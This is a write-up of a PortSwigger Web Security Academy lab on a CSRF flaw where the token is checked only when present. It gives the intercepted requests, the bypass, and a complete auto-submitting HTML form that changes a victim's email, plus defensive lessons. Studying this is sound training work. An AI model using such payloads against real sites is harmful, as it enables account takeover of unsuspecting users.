

Lab: CSRF where token validation depends on token being present

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Cross-Site Request Forgery (CSRF)
- **Difficulty:** Practitioner
- **Status:** Solved 

Objective

The goal of this lab is to exploit a CSRF vulnerability in the email change functionality.

The application uses a CSRF token to protect the request, but the validation logic only runs when the `csrf` parameter is present.

If the parameter is completely omitted, the application fails to perform CSRF validation.

The objective is to:

1. Identify the email change request.
2. Analyze the CSRF token behavior.
3. Discover that removing the token bypasses validation.
4. Create a malicious HTML page on the Exploit Server.
5. Automatically submit a POST request without a CSRF token.
6. Change the victim's email address.

Reconnaissance

I logged into the application using the provided credentials:

Username: wiener
Password: peter

I then navigated to the account page and tested the **Change Email** functionality.

Using Burp Suite, I intercepted the legitimate request.

The request contained an email parameter and a CSRF token.

Vulnerability Analysis

Request

A legitimate request looked similar to:

```
POST /my-account/change-email HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=...

email=test@example.com&csrf=RANDOM_TOKEN
```

The important parameter was:

```
csrf=RANDOM_TOKEN
```

This indicated that the application attempts to protect the functionality using a CSRF token.

Testing Token Validation

I tested what happened when the CSRF token was removed completely.

Instead of:

```
email=test@example.com&csrf=RANDOM_TOKEN
```

I sent:

```
email=test@example.com
```

The application still accepted the request and changed the email address.

This revealed the vulnerability.

The application effectively behaves like:

```
if csrf parameter exists:
    validate CSRF token
```

```
change email
```

Therefore:

```
CSRF token present
```

```
↓
```

```
Validate token
```

```
CSRF token absent
```

```
↓
```

```
Skip validation
```

```
↓
```

```
Change email
```

Important Difference

There is an important difference between:

```
csrf=
```

and:

```
(no csrf parameter)
```

The successful exploit completely removes the `csrf` parameter.

🔥 Exploitation

Since the vulnerable request uses `POST`, I created an HTML form on the Exploit Server.

The final payload was:

```
<form method="POST" action="https://TARGET.web-security-academy.net/my-account/
change-email">
  <input type="hidden" name="email" value="xfbfbxfb@gmail.com">
</form>

<script>
```

```
document.forms[0].submit()  
</script>
```

Payload Breakdown

1. POST Request

```
<form method="POST" action="https://TARGET.web-security-academy.net/my-account/  
change-email">
```

The `method="POST"` ensures that the browser sends a POST request to the vulnerable endpoint.

This differs from the previous lab, where changing the method to GET bypassed the CSRF protection.

2. Email Parameter

```
<input type="hidden" name="email" value="xfbfbxfb@gmail.com">
```

This creates the following POST parameter:

```
email=xfbfbxfb@gmail.com
```

The input is hidden so that the victim does not need to interact with the form.

3. No CSRF Token

Notice that the exploit does **not** contain:

```
<input type="hidden" name="csrf" value="...">
```

This is intentional.

The vulnerability depends on the `csrf` parameter being completely absent.

The resulting request is:

```
POST /my-account/change-email HTTP/1.1  
Host: TARGET.web-security-academy.net  
Cookie: session=VICTIM_SESSION
```

```
email=xfbfbxfb@gmail.com
```

There is no:

```
csrf=...
```

parameter.

4. Automatic Submission

```
document.forms[0].submit()
```

This automatically submits the form when the victim loads the exploit page.

Therefore, the victim does not need to click a button.

Tools Used

- Burp Suite
- Burp Repeater
- Browser DevTools
- PortSwigger Exploit Server

Solution

The lab was solved using the following steps:

1. Log in using:

```
wiener:peter
```

1. Navigate to the account page.
2. Intercept the Change Email request using Burp Suite.
3. Identify the `csrf` parameter.
4. Test the request with a valid CSRF token.
5. Remove the `csrf` parameter completely.
6. Confirm that the server still accepts the request.
7. Create a malicious HTML page on the Exploit Server.

8. Use a POST form to target `/my-account/change-email`.
9. Include only the email parameter.
10. Automatically submit the form using JavaScript.
11. Deliver the exploit to the simulated victim.

Final exploit:

```
<form method="POST" action="https://TARGET.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="xfbfbxfb@gmail.com">
</form>

<script>
  document.forms[0].submit()
</script>
```

The victim's email address was successfully changed and the lab was solved.

What I Learned

- CSRF protection must reject requests when the CSRF token is missing.
 - Checking a CSRF token only when the parameter exists is insecure.
 - A missing token and an empty token are not necessarily treated the same way.
 - In this lab, the `csrf` parameter must be completely omitted.
 - HTML forms can be used to create cross-site POST requests.
 - JavaScript can automatically submit a CSRF form.
 - Burp Repeater is useful for testing how an application behaves when security parameters are removed or modified.
 - State-changing operations should always enforce CSRF protection consistently.
-

References

- PortSwigger Web Security Academy — Cross-Site Request Forgery (CSRF)
- OWASP — Cross-Site Request Forgery Prevention Cheat Sheet